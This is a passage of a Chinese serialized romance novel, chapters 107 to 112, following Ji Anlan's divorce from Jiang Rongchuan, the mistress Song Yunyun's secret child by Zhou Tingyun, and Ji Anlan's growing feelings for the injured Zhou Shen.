“你清醒一点,你要明白什么事情该做,什么事情不该做。”
丢下这句话,江容川甩袖离开。
砰的一声,门被关上。
大的一个病房里,只剩下了宋妘妘。
他气得疯狂地尖叫着,手指用力地捶着床,浑身激烈地颤抖着,脸色一阵白一阵青。
“纪安澜就是该死!”
“哪有什么不该做的事情?只要是我想做的事情,就是该做的!”
“要不是纪安澜,我早就当上了江太太!”
宋妘妘怒不可遏,恨得牙痒痒,胸口剧烈地起伏着,眼睛充血,眼底布满了红血丝,双目充满了憎恨。
想到刚才江容川冷漠的表情,宋妘妘的心一冷。
他以为可以把江容川的心捂热,可没想到,江容川竟然为了纪安澜打她?
他已经确认司机撞到了纪安澜。
就算撞不死,估计这一辈子也都废了。
若是江容川找茬,那她怎么办?
江容川是怎么知道这件事情的?
他的脑海里存着一闪而过的念头,但很快地就被巨大的恐慌笼罩。
她不能让江容川厌弃了她!
如今所有的人都在看她的笑话,如果江容川也丢下她,她这辈子都抬不起头来了。
一想到这里,宋妘妘立刻掏出手机,在通讯录上找着,视线定格在一个没有备注名字的号码上。
犹豫了一瞬,咬紧下唇,宋妘妘打了过去。
电话过了许久才接通。
宋妘妘迫不及待地开口:“这次你可一定要帮帮我!”
“又出了什么事?”电话那头传来了一道低沉而又平静的嗓音。
“纪安澜,是纪安澜出事了!”宋妘妘不敢细说。
“又是你的手笔?”那头传来了一声冷笑。
“她活该!你一定要帮帮我!我马上就要做成江太太了,就差临门一脚!”
宋妘妘的语气急切。
“你做下这种事,我该怎么帮你?”电话那头的声音冷冽。
“这是什么意思?”宋妘妘稍微冷静了下,听出了他话中深意,似乎不愿意帮忙。
“这可是**的重罪,任何人都帮不了你。”他的语气轻飘飘的,带着一丝不容人置喙的威严。
“帮不了?”宋妘妘冷笑一声,“你在国外干的**放火的事情还少?现在跟我说是重罪,周霆云,你在搞笑吧?”
宋妘妘脸色骤变,声音也冷了几分。
“我告诉过你,不要胡说八道,小心祸从口出。”周霆云冷冽的声音自电话那头传来,带着一股威胁的意味。
宋妘妘心里一寒,声音放柔了些:“我不会胡说八道,但你也得帮我渡过难关啊,是你说的,让我勾引江容川,现在我马上就要成功了,你总不能放手不管吧?”
“我帮你的还少?”周霆云声音冷到极致。
“帮我就是在帮你,我要不是听了你的命令,怎么会纠缠到这些事情来?”宋妘妘听出了他语气中的冷漠,声调不由得拔高了些。
“现在事情弄成这样,我也不想,我知道,只有你有办法能帮我了。”
她的语气中带着一抹哀求的意味。
“我帮不了你。”他想都没想,断然拒绝。
宋妘妘脸色骤变,唰地一下白了。
“你……”她的声音都在颤抖,眼底满是不可置信:“你这是想要过河拆桥?”
电话那头陷入沉默。
“你可别忘了,我们还有个孩子!”
音调不由得拔高了些,宋妘妘像是被人发现,赶紧四周查看,确定没人后,这才松了一口气,压低了嗓音。
“我可是拼了命地给你生了个儿子!周霆云,我们是一根绳上的蚂蚱!那孩子是周家的!”
这个隐藏在心底最深处的秘密,还是宣之于口。
宋妘妘在等着周霆云的反应。
谁知,电话那头的嗓音越发的冷冽,平静得仿佛一滩死水。
“早产生出来的孩子,就是个废物,我们周家不需要废物。”
冷冽的嗓音仿佛淬了冰一般,让宋
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妘妘心底发寒,瞳孔骤缩,不敢相信自己的耳朵。
她辛辛苦苦怀胎27周生下来的孩子,竟然被周霆云说成是废物?
那可是他们两个人共同的孩子!
“周霆云,你简直没有人性!”
宋妘妘怒不可遏,疯狂地咆哮着。
原本以为可以拿着这个孩子跟他做交易,可听到这句话,她的心一下子跌到了谷底。
若是周霆云不管她,江容川再厌弃了她,她这一辈子就全都完了!
一想到这里,宋妘妘眼睛里满是惊慌失措。
大脑飞速地运转,像是想到了什么似的,宋妘妘抓住了最后的救命稻草。
“你可别忘了,当初是你把我送到江容川身边,让我夺取江家的财产!现在计划还没有完成,难道你甘心吗?”
电话那头的周霆云仿佛听到了一个天大的笑话。
“江家现在就因为一个项目,就濒临破产,像这样的废物公司,留着还有什么用?”
言外之意就是,就连江家的资产,他也放弃了。
“什么……”宋妘妘瞪圆了眼睛,脸上的血色尽失,脸色苍白如纸。
握在手心里的两个王牌,突然变成了废纸,那种无力感,仿佛快要将她湮灭。
“反正江容川也以为你生下的孩子是他的,不如将错就错,跟他好好地生活,说不定还能做个人人艳羡的江太太。”
周霆云威胁的声音自电话那头传来。
“你只需要老实本分,之前做的事情就没人知道,可你如果生出了不该有的心思,第一个被毁的人,将会是你自己。”
宋妘妘浑身血液凝固,如同被人浇了一盆凉水,浑身僵直,呆坐在原地。
“对了,忘记恭喜你初为人母。这次的事情,相信你可以自己解决,不会把事情闹得难以收场。”
顿了一下,又冷冷地补充道:“还有,以后没事不要给我打电话。”
话音刚落,毫不留情地挂断了电话。
宋妘妘呆坐在病床上,脸上的表情五颜六色,最后凝结成了无能狂怒,用力地敲击着床板,疯狂撕扯被子,来发泄心里的情绪,若是被人看到,会以为她是个疯子。
第108章 还好你没事
在江容川心里,宋妘妘现在就是个疯子。
轮胎摩擦地面的尖锐声,响彻了医院门口。
江容川快步从车里跑出来,根本就不顾形象,眼底满是惊慌。
在来的路上,他心里一直在担心纪安澜。
心口仿佛被什么攫住,痛得难以呼吸。
这13年的点点滴滴,在那一刻如潮水般涌入脑海里。
纪安澜对她的好,曾经被他当作理所应当,甚至有时忽略的细枝末节,也被无限放大。
他是被欲望蒙蔽了双眼,直到这一刻,他才深切地意识到,他爱纪安澜爱到了骨子里,不能允许纪安澜出事!
医院里到处充满了消毒水的味道,江容川从前台问不出纪安澜的下落,就一层一层地寻找。
直到来到了六楼,透过人群,看到了一脸瘦弱的纪安澜正站在走廊里。
她一袭白色的裙子,在阳光的映照下,仿佛落在地上的天使,阳光为她折射出了一层淡淡的光晕。
江容川有一瞬间的恍惚,那一瞬间仿佛被抽走了所有的力气。
沈南姗不是说纪安澜出事了吗?她怎么会在这里?
一步一步地跌跌撞撞走过去。
他害怕走得太快,那道身影就会突然消失。
就在快要靠近纪安澜时,他像疯了一样狂奔而去,一把抱住了纪安澜。
纪安澜惊愕了一瞬,没有反应过来。
身后的男人紧紧地抱着她,力气极大,像是想要把她揉进骨血,急促的呼吸声喷薄在耳际,声音颤抖:“澜澜,你没事,真是太好了,我还以为你出事了,看着你活着,真好。”
听见那道熟悉的嗓音,纪安澜紧皱着眉头。
她用力地想要挣脱江容川的怀抱,却被桎梏在原地。
纪安澜不耐烦地开口:“放开我!”
声音颇大,引起了不少人的目光。
感受着那火辣辣的视线,纪安澜压低了嗓音。
“江容川,你是不是疯了?赶紧放开我!”
“不!”江容川用力地摇着头,“我这次再也不放手了,我是疯了,我是想你想疯的!”
听到这句话,纪安澜只觉得胃里一阵翻滚,觉得恶心。
她实在挣脱不了,只好用力地踩了一脚江容川的鞋。
“你再不放开我,我就报警了!”
纪安澜用尽全身力气掰开了江容川的手。
下一秒,抬手,一个巴掌拍在了他的脸上。
纪安澜急得脸色通红,狠狠地瞪着他。
江容川脸偏向一旁,脸颊上瞬间蔓延出一抹红痕,脸上火辣辣的疼痛,并没有觉得恼怒。
他反倒扭过头来,眼睛狂喜地盯着纪安澜,眼底满是偏执。
“澜澜,我不是在做梦,你是真的,你没死!”
他上下地打量了一番纪安澜,确定不是在做梦后,轻呼了一口气。
纪安澜紧皱着眉头,像看一个神经病一样盯着他。
江容川真是疯了,被打了还这么开心。
“你要是想再发疯,去别的地方,这里是医院,不欢迎你。”
纪安澜冷冰冰地说了一句,下了逐客令。
“我不走!”江容川断然拒绝,眼见着纪安澜想要转身,他一把拉住了纪安澜纤细的手腕。
“我想明白了,我不想离婚,我不想娶宋妘妘那个疯子,我只想跟你在一起!我知道,是我浑蛋,之前忽略你,堂而皇之地享受你对我的好,我真的知道错了,你能不能原谅我?我们重新开始?”
他的声音激动着,语气里充满了忏悔。
纪安澜愣愣地站在原地,脸上的表情波澜不惊,眼神无波地看着他。
这些话,她等了许久。
当初在婚姻期间,她一直内耗,期待着江容川能够看见她的好,能回心转意。
可最后等来的却是小三登堂**,带着身孕,抢她江太太的位置。
江容川则任由宋妘妘欺压她,整个江家,除了爷爷,没有一个人站在她这边。
想到那些孤寂无助的日子,纪安澜唇角上扬了一抹嘲弄的弧度,眼底满是轻蔑与失望。
“原谅你?”
“如果所有的事情都能被原谅,那还要警察干什么?”
纪安澜冷哼一声:“现在觉得宋妘妘是个疯子,想到我的好了,那你早干什么去了?”
纪安澜满眼嘲
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讽地盯着他:“当初你妈跟你妹妹欺负我的时候,你视而不见,站在她们那边。宋妘妘当众羞辱我,你也觉得无所谓,让我打碎了牙往肚子里咽,你何曾在意过我的感受?现在知道我的好了,晚了!”
听到这些话,江容川一时语塞,眼底满是慌乱。
看着纪安澜嫩白的小脸上满是冷漠疏离,江容川赶紧,急切地说道:“是我不对,你打我!”
他牵起纪安澜的手,就要往他脸上打。
纪安澜用力地将手抽了回来,冷冰冰地盯着他。
“够了!你不觉得你现在的行为很可笑吗?”纪安澜眼中的失望更深。
“那你怎么样才能原谅我?只要你能回来,让我做什么我都愿意。”
江容川盯着那双黑白分明的眼眸,语气越发的急切。
听到这句话,纪安澜眉峰微挑,目光掠过他焦急万分的脸,慢悠悠地开口。语气里充满了嘲讽。
“我若是回去,宋妘妘跟她刚出生的孩子怎么办?”
听到宋妘妘的名字,江容川面色一沉,眼底划过一抹狠厉。
想到他居然敢对纪安澜动手,江容川眉头紧皱,语气坚定:“只要你肯回来,等到公司麻烦全都解决,一切稳定下来,我就把宋妘妘跟那个孩子赶出去!”
他的语气里满是冷漠与决绝,似乎对宋妘妘跟那孩子一点都不关心。
看着眼前这个她爱了十几年的男人,纪安澜内心满是失望,心里一片冰凉。
她没想到江容川居然能够说出如此冷血的话。
就算宋妘妘再不好,也是为了他生了孩子的,可他居然能够如此无情。
当初他能为了宋妘妘把她赶走,如今又肯为了她将宋妘妘和她的孩子撵走,那以后呢?
他是不是还会如法炮制?
纪安澜嘴角噙着一抹冷笑,眼底满是轻蔑。
“江容川,你真令我觉得恶心!”
“纪安澜,你听我说,宋妘妘跟她的孩子……”
话还没有说出口,江容川突然接了个电话。
他语气一变,脸色瞬间变得难看。
“什么?周家突然取消了所有的合作?”
第109章 两个他都要
江容川的脸瞬间变得铁青。
周氏虽然撤销了几个合作,但一直跟他们有合作往来。
怎么突然就取消所有的合作了?
想到在离开医院前打了宋妘妘一巴掌,江容川想,该不会是宋妘妘生气,让周家取消了合作吧?
他的心里产生了一丝后悔。
赶紧掏出手机,给宋妘妘打了个电话。
“宋妘妘,你闹够了没有?周家突然取消合作,是不是你搞的鬼?你知不知道**现在濒临破产?没有了周氏的支持,就等于雪上加霜,你不想做江太太了?”
他刻意压低了嗓音,威胁之意尽显。
纪安澜冷冷地站在一旁,听着他劈头盖脸地一通说,只觉得可笑。
胃里一阵翻滚,看着江容川的侧脸,想到竟然爱了这样一个男人十几年,纪安澜都觉得她自己眼瞎了!
当初怎么不来医院看看眼睛?
唇角溢出一丝自嘲的笑,笑容满是悲凉。
江容川一直都没怎么变过。
不管出了什么问题,他第一时间就是指责别人,从来都不会反思自己。
当初为了利益选择跟她在一起,直到把纪氏的血吸干后,觉得她毫无用处,转头又选择了宋妘妘。
如今遇到了危机,又把所有的过错全都怪在一个女人的身上。
当真是可笑至极!
难道事情变成这样,他一点责任都没有吗?
如此没有担当、自私自利,她当初是怎么瞎了眼的?
电话那头的宋妘妘不知道刚才说了什么,江容川的脸色越发阴沉,那张脸阴沉得仿佛自己随时都能滴下水来。
不经意地一瞥,看到了一抹熟悉的身影,江容川这才反应过来,收敛起脸上的表情,掀起眼眸,眼神柔和地看着纪安澜。
只见纪安澜脸色变得苍白,眼中的厌恶根本毫不掩饰。
他上前一步,想要去拉住纪安澜的手,纪安澜却快速后退,一脸警惕地盯着他。
“澜澜,我这么做只是为了让公司好转,后让你有好日子过,我跟宋妘妘真的没什么的,只要你肯回来,公司稳定了,我就把她跟孩子赶走!”
这是江容川的心里话,他眼神坚定,一字一句,声音清晰传入纪安澜耳中。
可在纪安澜看来,江容川这么做,就是过河拆桥。
用完了谁,就把谁丢弃。
江容川之所以再次选择她,就是因为她身上还有利用价值。
用完之后还是会随手抛弃。
一想到这里,纪安澜嘴角噙着一抹冷笑,眼神仿佛一把凌厉的刀,直直地刺向江容川。
“滚!”
纪安澜眼中是毫不掩饰的厌恶,冷冰冰地指着走廊的尽头,已经丧失了跟他说话的欲望。
“澜澜……”江容川还想要尝试。
“宋妘妘刚生产完,需要你的照顾,你要不想让我看不起你,就赶紧滚!不然,我看见你就觉得恶心!”
走廊里的消毒水味道越发浓烈,江容川身子僵直,站在原地,喉结微动,张了张嘴,看着那张生人勿近的脸,终究是一言不发,转身离开。
听着脚步声越来越远,纪安澜终于松了一口气,感觉浑身的力气都用光了,失魂落魄地坐在了椅子上,目光朝着急救室看了一眼。
原本失望的眼神也逐渐变得期待。
而就在这时,急救室的门被打开。
周慎被推了出来。
纪安澜迫不及待地跑上前,焦急地问道:“医生,怎么样了?”
医生拉下口罩,沉声道:“病人暂时脱离生命危险,不过能不能醒来,得靠入院观察,前三天是重中之重,一定要有人守在旁边,你赶紧找个护工吧。”
不需要护工,她一个人就可以照顾周慎!
三天里,纪安澜寸步不离,日夜坚守在病床旁,眼睛一眨不眨地看着昏迷不醒的周慎。
看着他脸色苍白,一脸憔悴,纪安澜的心仿佛被什么攫住,痛得厉害。
突然,周慎浓眉紧皱,额心沁着冷汗,嘴里含糊地念叨着:“澜澜,澜澜……”
纪安澜起先没有听清,靠近了这才听清她的名字。
心口一跳,纪安澜眼中闪过一抹惊喜,泪水不受控制地冲破眼眶。
所有的委屈在那一瞬间化作眼泪。
周慎在睡梦中
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也在喊着她的名字,她更加确信周慎是爱她的。
之前的冷漠全都是伪装出来的!
不管是不是她自欺欺人,等到周慎醒来,他一定要好好地问清楚,并且表明自己的心意!
手指紧握着周慎的手,向他传达她掌心的温度。
将他的手贴在脸颊上,纪安澜轻声呢喃:“周慎,你快点醒来,我有好多话想跟你说,你想听的和不想听的都有,之前是我误会你了,我以为你只是随便说说,没想到你肯用命救我……”
说到最后,纪安澜声音哽咽,情不自禁地吻在了他的手背上。
“周慎,你快点醒来好不好?”
纪安澜自言自语地说着,声音夹杂着哭腔。
可偌大的一个病房,回应她的只有他的呼吸声。
这时,急速的电话铃声响起。
纪安澜一接听电话,脸色骤变,是公司打来的,说是项目出了纰漏,必须由她亲自去处理。
纪安澜垂眸看了一眼病床上的周慎,眼底充满了不舍。
她不能放任公司的事情不管,那毕竟是父亲的心血,她只能找来护工照料周慎,临走之前,千叮咛万嘱咐。
“他醒来第一时间打电话给我!”
护工立刻点头,纪安澜一步三回头地离开了病房。
纪安澜前脚刚走,后脚房门就被打开了。
护工还以为纪安澜有什么东西忘带了,扭头看向门口。
“纪小姐,你是拿……”
话还没有说出口,突然看到了一个陌生的男人,那护工谨慎地问道:“请问这位先生你是谁?是不是走错病房了?”
江容川视线在房间里搜寻,没有看到纪安澜,最后目光落在了那护工的身上。
他刚才明明看见纪安澜进入这个病房的,怎么人突然消失了?
“纪安澜呢?”
一看是纪安澜认识的人,护工赶紧说:“纪小姐好像有急事先走了,让我来照顾这位先生。”
顺着他手指的方向,江容川这才注意到病床上躺着一个人,定睛一看,居然是周慎!
还来不及反应,那双紧闭着的眼眸,突然缓缓张开。
第110章 乖狗狗
江容川瞳孔骤缩,眼中满是不可置信,瞪着眼睛,看着病床上的男人。
眉眼深邃,轮廓冷硬,气场逼人,不正是周慎吗?
他怎么会在这?
难道刚才纪安澜是来看望他的?
之前纪安澜不是说他们两个人没有半点关系吗?
难道是周慎刻意纠缠?
莫不是看上了纪安澜?
不可能!
他眼高于顶,见过的女人不计其数,又怎会看上一个已经离了婚的女人?
但是也不一定。
纪安澜如今打扮一番,明媚动人,非一般人能比得了。
他的左右脑在互搏。
嫉妒、愤怒和恐慌充斥着心脏,一股压抑感让他快要喘不上来气。
“周总怎么会在这?”
他压抑着心里的怒火,狠狠地问。
“你瞎?”
周慎坐起身,墨染的眸子划过一抹不悦,声音冷然。
看他动作轻巧,坐起来毫不费力,完全一副没事人的模样。
江容川紧皱着眉头,眼中划过一抹怀疑:“你在装病?”
周慎眉峰微挑,冷笑:“是又怎样?”
他其实早就醒了。
迷迷糊糊间,听见纪安澜一直在说话,心里很受用,便一直躺着不动,本以为可以享受一会,谁知道却来了个不速之客。
看着他云淡风轻,一副理所应当的模样,江容川快速冲到病床前,一把揪住他的衣领,满眼阴鸷地瞪着他。
“离纪安澜远一点!她是我的妻子!”
暴怒的声音响彻了整个病房。
之所以他敢对周慎发火,因为他知道现在周家是周霆云说了算,所有的实权都在周霆云手中,而周慎只不过是个空有衔头的摆设罢了。
周慎面色苍白如纸,那双漆黑的眸子却寒意逼人,掀起眼眸,眸色清冷地落在那张满是狞色的脸上,嘴角勾起一抹极淡的弧度,眼底满是轻蔑。
“妻子?”他的声音沙哑,却极具有穿透力,像听到了一个天大的笑话,反驳道:“你们已经离婚了,她再也不是你的妻子。”
声音不咸不淡,却像一把手术刀,精准地扎进了江容川的心脏。
他手指紧拽着周慎的衣袖,面色越发阴沉,眼睛瞪得浑圆,眼底布满了红血丝:“离婚冷静期还没过!我们不算离婚。”
周慎冷哼一声,像看跳梁小丑一样看着他。
“不算离婚?你觉得你又能困住她多久?她现在有自己的事业,你的公司,恐怕要面临倒闭了吧?”
这句话就仿佛是压倒骆驼的最后一根稻草。
江容川怒不可遏,圆了拳头就要砸向周慎的脸。
他眼疾手快地用那只完好的手接下那个拳头,骨节分明的手用力包裹着,咯吱作响。
一双黑曜石般的眸子泛着冷芒,冷冷地瞪着江容川。
江容川被气得胸口剧烈地起伏着,看着周慎的表情,像是在挑衅,更是怒火中烧。
“你故意跟纪安澜合作,就是为了让她铁了心跟我离婚?然后想趁虚而入?别白日做梦了!她爱了我十几年,不会喜欢上你!”
顿了一下,又冷声道:“我警告你,给我离她远一点!”
“否则这种事情会发生第一次,就会发生第二次!”
若说前面一段话,或许还会让他有所在意。
最后一句话,却像听到了天大的笑话。
周慎低笑出声,声音悦耳,却满是不屑:“警告我?江容川,你也不看看自己是什么东西?敢警告我?你有什么资格?”
对上他刺骨的寒眸,江容川不觉浑身一颤,所有话堵在喉头,一个字也说不出来。
是畏惧,也是无言以对。
就在他愣神之际,周慎“好心”地对他下达最后警告。
“江容川,我要是你,现在就乖乖加紧尾巴,不要来招惹不该招惹的人,不然......你**的,都不知道。”
话落,周慎慵懒地抬起手,在空中打了一个响指。
只听“哐”的一声,房门打开,两名黑衣保镖径直来到病房前,二话不说,便将江容川架起。
“周慎,你、你这是什么意思?”
江容川被高高架起,双脚离地,面露惊恐,哪里还有往日高高在上的气焰。
"好吵,把他拖远点儿。"
“是。”
周慎漫不经心地挥了挥手,保镖迅速捂住江容川的嘴,
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如拎鸡仔般将人拖走。
十分钟后,医院后巷。
江容川被按在肮脏的泥地里,保镖们的拳脚如雨点般落下。
他那张引以为傲的脸,打得布满青紫,鼻涕眼泪糊了一脸,再无体面可言。。
他刚开始还会警告威胁几句,可身上实在是太痛,便开始低头求绕。
最后,他连哀嚎的力气都没有,只能如烂泥般瘫在地上。
保镖用脚踢了踢他,见他一动不动,嫌弃地啐了一口。
“还以为你有多大能耐,原来也是个软蛋。”
"今天是给你一个教训,以后若是再敢到周总面前乱叫,可就不是打你一顿,这么简单了。"
江容川浑身剧颤,扶着墙壁缓缓站起来。
他眼睛高高肿起,勉强能看清前面的路,亦步亦趋地往外走。
想起吴有天那只断掉的胳膊,再看看他如今的惨状。
江容川才终于明白,周慎这个不按套路出牌的疯子,比周霆云要可怕得多!
......
此时,病房内。
周慎翻看邮件,突然眉头一蹙,起身下床。
他从衣柜中拿出便装,不容拒绝道:“给我办理出院。”
"周先生,您刚做完手术,不能......"
护工连忙上前阻拦,却在对上周慎阴鸷的眼神后,瞬间噤了声。
"让开。"
他的声音很轻,却带着令人窒息的威压。
护工双腿发软,知道自己拦不住这位爷,心下一动,慌忙掏出手机,拨通纪安澜的电话。
"喂,纪小姐!你快来吧,周先生非要出院,我拦都拦不住!"
电话那头,纪安澜沉默了两秒,似是发出了一声无奈的轻叹,随即开口,"把电话给他。"
“周、周先生,纪小姐要您听电话。”
周慎眼神责备地看了他一眼,接过电话。
"听说你要出院?"
纪安澜柔和的声音一传出,男人身上的戾气瞬时消散大半,有些乖顺地“嗯”了一声。
一旁的护工见他这样,错愕地长大嘴巴。
察觉到他的视线,周慎眸色一凌,将护工吓了一个激灵,慌忙关门出去。
第111章 他耍无赖
周慎脚步顿住,脸上的阴沉消散了几分,身上的戾气变淡,低声嘟囔:“等多久?”
“最多二十分钟。”
“我的时间很宝贵。”周慎语气沉沉,声音沙哑。
“我知道,我开车快点,最迟15分钟,行吗?”
纪安澜像哄小孩一样说着,语气轻柔。
一想到纪安澜之前差点被车撞,周慎墨染的眸子沉了沉。
他压低了嗓音,清了清嗓子:“其实也不用那么快,你二十分钟赶来就行。”
“好,一言为定,给我乖乖等着。”
话音刚落,挂断电话。
把手机还给护工,周慎转头重新躺回床上,闭上眼睛小憩。
护工满脸惊讶。
纪安澜到底是怎么做到的?
刚才的周慎去意已决,简直比过年杀的猪还要难按,可纪安澜三言两语就把他劝退了?
居然自己乖巧地躺在了床上。
不得不说,英雄难过美人关!
护工在心里给纪安澜竖起了个大拇指。
与此同时,江容川扶着墙壁,从漆黑的小巷子里跌跌撞撞地走了出来。
感受到久违的灯光,眼睛有些不适应,眯着眼睛,眼底满是憎恨。
他擦了擦嘴角的血渍,面色阴鸷可怖。
烦躁地扯了扯领结,江容川拖着沉重的身子,打了个车前往医院。
他身上满是污垢和干涸的血迹,裸露在外面的肌肤,满是青紫的伤痕,看起来狼狈至极。
司机被吓了一跳,时不时地透过后视镜看他,看一眼就觉得阴森恐怖,赶紧加快了速度。
不多时,到达了目的地。
江容川的心里满是**,一想到被周慎找人拖到巷子里打,他就气得发抖,再加上想到周慎对纪安澜有意思,更是气不打一处来,恨不得现在就冲过去跟他拼命。
只不过,他现在奈何不了周慎,只能打碎了牙往肚子里咽。
他心里满是怒火,却找不到宣泄的出口,那怒火像火焰般燃烧,快要将他吞噬。
他像一具行尸走肉般,机械性地回到了宋妘妘的病房。
刚来到门口。
江震霆看见他一身狼狈,满身是伤,劈头盖脸就是一顿怒骂:“你都是一个做爸爸的人了,把自己搞成这副鬼样子!实在是丢我们江家的人!公司现在濒临破产,你居然还有心思打架?公司和医院让我两头忙,要你干什么?”
他的话犹如一根**,彻底引燃了他心里的怒火。
掀启眼眸,江容川眼底焚烧着怒意,一脸戾气,怒火将他的理智燃烧殆尽,他脱口而出:“你照顾你自己的孩子,难道不是天经地义吗?”
暴怒的声音响彻了整个走廊。
所有的人都呆住了。
一瞬间陷入死寂。
江震霆眉头紧皱,一脸的震惊,像是听见了荒谬的话,不可置信地瞪着江容川。
“你胡说八道什么?你是不是疯了?宋妘妘生的孩子当然是你的孩子!”
而病房里的宋妘妘也听到了这句话,脸色惨白,眼底划过一抹复杂。
江容川为什么会这么说?
这孩子怎么可能会是江震霆的?
孩子分明是……
江容川冷冰冰地看着江震霆的反应,一脸震惊和无辜。
他脸上挂着一抹扭曲的笑,自喉咙间发出一丝冷笑。
“我胡说?我可没有胡说,当初就是我做的局,让你们两个人睡了,一切都是我故意安排的,就是想让她怀上我们江家的种!”
江容川一五一十地说出了当初的计划。
江震霆紧皱着眉头,面色难看。
他摇着头,脸色铁青。
“可当天我并没有去那个酒店,容川,你是不是搞错了?还是被气糊涂了?故意编出这种荒谬的话来骗我?”
江震霆无法接受突如其来的变化,眉头紧锁,脸色难看至极。
闻言,江容川的笑容僵硬在脸上,眼底划过一抹不可置信。
“什么意思?”
“当天我并没有去,所以,她肚子里的孩子不可能是我的。”
他怕江容川没有听清,一字一句,字字清晰说着。
“这怎么可能?我明明安排好了一切,当时把你们两个人同时安排进一个房间,怎么可能会……”
他瞳孔骤缩,心里翻起了惊涛骇浪。
如果江震霆说的是真
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的,那宋妘妘肚子里的孩子是谁的?
他一直以为宋妘妘怀的是江震霆的孩子,才会对她另眼相待。
可如果那孩子不是江震霆的,也不是他的……
视线不由自主地朝着病房里的宋妘妘看去。
江容川眉头紧锁,脸色瞬间沉了下去,心也跟着沉到了谷底。
难道他所精心策划的一切,到头来成了一个笑话?
感受到江容川冰冷,带着审视的目光,宋妘妘神色紧张,眼神飘忽,身子绷直,手指紧攥着被子,如坐针毡。
本就苍白的小脸越发的惨白,她张了张嘴,过了许久,一个字也没有说出口。
江容川脸色阴沉得仿佛能滴下水来。
目光冷冷地扫过面色苍白如纸的宋妘妘,和一脸难看的江震霆。
他厉声道:“验DNA!”
他倒要看看宋妘妘肚子里的孩子到底是谁的!
气氛凝结到了极点。
三人都陷入了沉默。
空气里的消毒水犹如一个巨大的网,将三人笼罩在其中。
另外一边的医院里。
纪安澜急匆匆地赶到病房,砰地一下推开门。
她气喘吁吁地看着病床上躺着的周慎,吞咽了一下口水,眼底是藏不住的欣喜。
周慎果然醒了。
他没事!
一看到纪安澜来了,护工立刻识趣地退了出去。
周慎掀开眼眸,淡淡地朝着她瞥了一眼。
“你来了。”声音低沉,泛着一丝喑哑。
“感觉怎么样?医生怎么说?”
纪安澜急不可耐地坐在病床旁,眼睛一眨不眨地盯着他,眼底的火热快要溢出。
“没事,就是恢复需要一定的时间。”周慎随口说了一句,目光落在她手里的盒饭上。
“我饿了。”
纪安澜愣了一瞬,赶紧打开盒饭,递给了他。
周慎状似艰难地抬起手,骨节分明的手似乎握不住筷子。
纪安澜紧皱着眉头,一脸担忧:“怎么这么严重?我去找医生来!”
“我想先吃饭。”周慎立刻阻止了她。
“那你这怎么吃?”纪安澜凝眉。
“你喂我!”
第112章 孩子是谁的
纪安澜愣了一瞬,还没反应过来。
手腕被牵住,汤匙放在了周慎嘴边。
薄唇微张,他心满意足地喝了一口,黑的眸子,定定地盯着他,眼底泛着火热的光,灼烧着她的每一寸肌肤。
那灼热的视线,让纪安澜脸一热,两颊升起一抹绯红,心狂跳不止。
微微垂下眼睫,睫毛轻颤,犹如扇羽扑闪,在脸上投下一小片的阴影。
害羞的模样,我见犹怜。
周慎伸手一拉,纪安澜身子不由自主地向前倾,嘴里发出一声低呼,鼻息间充斥着一股好闻而又熟悉的冷木香。
迎上那双炙热的眸子,她的心跳漏了半拍,眼底划过一抹慌乱,紧张地看着他。
刚想要逃离,男人骨节分明的手落在了她的下巴上。
他轻轻捏着,微微抬起,逼迫她与他对视。
周慎声音喑哑,泛着好听的磁性,极具有蛊惑力:“我好像听见有人说爱我。”
纪安澜呼吸一紧,眼底的慌张快要溢出。
强装镇定,纪安澜避开他的视线:“你肯定听错了。”
浓眉微皱,很显然,周慎对这个回答并不满意。
盯着她惊慌失措的脸,周慎继续追问:“是吗?我还以为是你说的。”
心一下子提到了嗓子眼,纪安澜身子紧绷,心快跃出胸膛,呼吸急促,头顶,灼热的目光灼烧着她,她的内心也备受煎熬。
原本,她是打算等周慎醒来,好好表达她的爱。
可,她深陷离婚风波,江容川在提醒着她,两人还没有彻底断开联系,只要一天不拿到离婚证,她就不算是真正的自由。
周慎在周家本就不易,若是因为她为人处世更加困难,她宁愿先把这份感情埋藏起来。
下巴上抬力道加重,纪安澜被迫仰头看他。
那双如深潭般的眸子,此刻柔情满溢,一瞬不瞬地盯着她,眼底满是渴求,一脸期待。
“纪安澜,你到底对我存了什么样的心思?”
喉结微动,他终于还是问出了口。
迎着那双炙热的视线,纪安澜张了张嘴,心里满是挣扎。
空气瞬间凝结,房间里一下子安静了下来。
只剩下两人的呼吸声和她震耳欲聋的心跳声。
微风拂动着窗帘,刮得沙沙作响,就像她此刻的心,摇摆不定。
终于,纪安澜下定决心般,冷漠开口:“我感激你,是你救了我一命。”
“只是感激?”他的眼中划过一抹失落,目光的热切却没有消散半分,依旧一眨不眨地盯着她,还是满怀期待。
“嗯!”垂下眼睫,纪安澜用力点头。
“救命之恩,我一定会报答。”纪安澜幽幽开口。
她不忍看周慎失望的神情,更知道他是豁出了命救她,这份感情的浓重,此刻像一个大山,压得她喘不上来气。
“怎么报答?”周慎继续追问,像是不甘心一般。
“等你过几天要出院的时候,搬到我家,我来照顾你,直到你康复为止,毕竟你是因我受的伤!”
这是纪安澜已经想好了的说辞。
“搬到你家?”周慎低笑了一声,像是在自嘲:“不怕别人说闲话?”
“不怕,我很感激你,我要报答!”
“感激?”周慎冷笑,他失望地松了手,颓然地靠在了床上,一双幽深的眸子,盛满了失落。
“我不需要你的感激,更不要你那感激的施舍!”
“但是你的身体……”纪安澜皱着眉头,掀起眼眸。
正撞入那双冰凉的眸子里。
男人墨染的眸子盛着受伤的神色,定定地望着她,看着纪安澜强装出来的冷漠,他的脸瞬间沉了下来。
“你走吧,我不需要你的感激!”
声音不大,却带着不容人置喙的威严。
纪安澜缓缓站起身,脚步沉重,三步两回头,好不容易走到了门口,回头深深地看了一眼浑身落寞的周慎。
终于还是下定决心离开。
在临走之前,给护工打电话,让他务必照顾好周慎。
纪安澜失魂落魄地走出医院,接到了姚姿打来的电话。
满心欢喜向纪安澜报告近况,说是马上就要跟周霆云结婚了。
不知怎的,听到这句话,纪安澜没觉得开心,反而有些担
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忧。
她总觉得周霆云这个人有些怪怪的,或许是因为他跟江容川走得过近?
“你考察好了?想好了吗?结婚可是一件大事,我是过来人,我……”
纪安澜想劝说。
姚姿却笑着说道:“我知道你是为了我好,你在婚姻里受了伤,害怕我也同你一样,但是霆云跟江容川不一样,相信他一定会给我幸福的!”
言之凿凿的话,让纪安澜所有的话都堵在喉咙里。
或许是她多想了吧。
既然姚姿已经坚定地选择了周霆云,她也该祝福她。
只是心底的那抹疑虑却未消散。
与此同时,江容川拿到了DNA鉴定书。
看到鉴定书上的结果后。
